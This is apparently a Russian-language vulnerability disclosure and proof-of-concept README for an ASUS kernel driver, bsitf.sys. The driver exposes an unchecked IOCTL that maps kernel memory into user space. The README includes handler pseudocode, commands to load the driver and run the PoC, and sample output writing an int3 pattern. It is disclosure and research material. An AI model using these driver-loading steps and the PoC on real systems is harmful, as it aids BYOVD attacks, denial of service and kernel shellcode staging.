
PoC для CVE-2026-13585
Драйвер ядра ASUS bsitf.sys (также распространяется как AsusBSItf.sys) предоставляет IOCTL 0x222808, который выделяет физически непрерывную память ядра размера, контролируемого атакующим, отображает её в адресное пространство вызывающего процесса с полными правами чтения/записи и возвращает вызывающему как виртуальный адрес пользовательского режима, так и физический адрес.
Для открытия устройства требуются права администратора, что делает эту уязвимость повышением привилегий от администратора к ядру. В сценарии BYOVD (Bring Your Own Vulnerable Driver) атакующий, уже имеющий права администратора (например, через социальную инженерию или отдельный эксплойт), может загрузить этот легитимно подписанный драйвер, чтобы получить произвольный доступ к памяти ядра без необходимости использования эксплойта для ядра.
| Версия | Имя файла | Пакет | Тип пула |
|---|---|---|---|
| 3.0.10.0 | bsitf.sys | ASUS Business Manager / AbmSvcPackage | NonPagedPool (исполняемый) |
| 3.1.10.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
| 3.1.25.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
Все версии создают устройство \Device\bsitf с символьной ссылкой \DosDevices\bsitf.
Отображаемый буфер — это свежее выделение из пула ядра, а не произвольный адрес ядра. Вызывающий контролирует его содержимое, но не его расположение. Это ограничивает возможности эксплуатации по сравнению с настоящим произвольным чтением/записью ядра.
NonPagedPool, вызывая BSOD. Не накладывается ограничений на размер или количество выделений.NonPagedPool (исполняемый). Шеллкод можно записать из пользовательского режима в отображаемый буфер, но для перенаправления выполнения ядра на адрес буфера требуется отдельная уязвимость.В версиях v3.1.x (NonPagedPoolNx) буфер неисполняемый, и практическое воздействие ограничивается DoS и раскрытием физического адреса.
IOCTL 0x222808 в обработчике диспетчеризации выполняет следующее без проверки входных данных:
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer; // user-controlled
kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);
output[0] = user_va; // usermode virtual address
output[1] = physical_addr; // physical address of allocation
Отсутствуют проверки размера выделения, количества незавершённых выделений или проверка входных данных. Для открытия устройства требуются права администратора, но после получения дескриптора IOCTL становятся неограниченными.
cargo build --release
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf
# по умолчанию: выделение 0x1000 (4 КБ)
cargo run --release
# пользовательский размер (шестнадцатеричный)
cargo run --release -- 10000
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000
[+] device handle acquired
[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
usermode VA: 0x000001D856F90000
physical addr: 0x00000000BF6CB000
[*] original contents (first 16 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED
[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully
Протестировано на Windows 11 24H2 (требуются права администратора).
NonPagedPoolNx во всех версиях| Дата | Событие |
|---|---|
| 2026-04-06 | Уязвимость обнаружена при автоматическом анализе |
| 2026-04-06 | PoC подтверждён на Windows 11 24H2 |
| 2026-04-06 | Отчёт отправлен в ASUS PSIRT |
\Device\bsitf, Символическая ссылка: \DosDevices\bsitfFUN_140001070Это доказательство концепции предоставлено только для авторизованных исследований безопасности и ответственного раскрытия. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.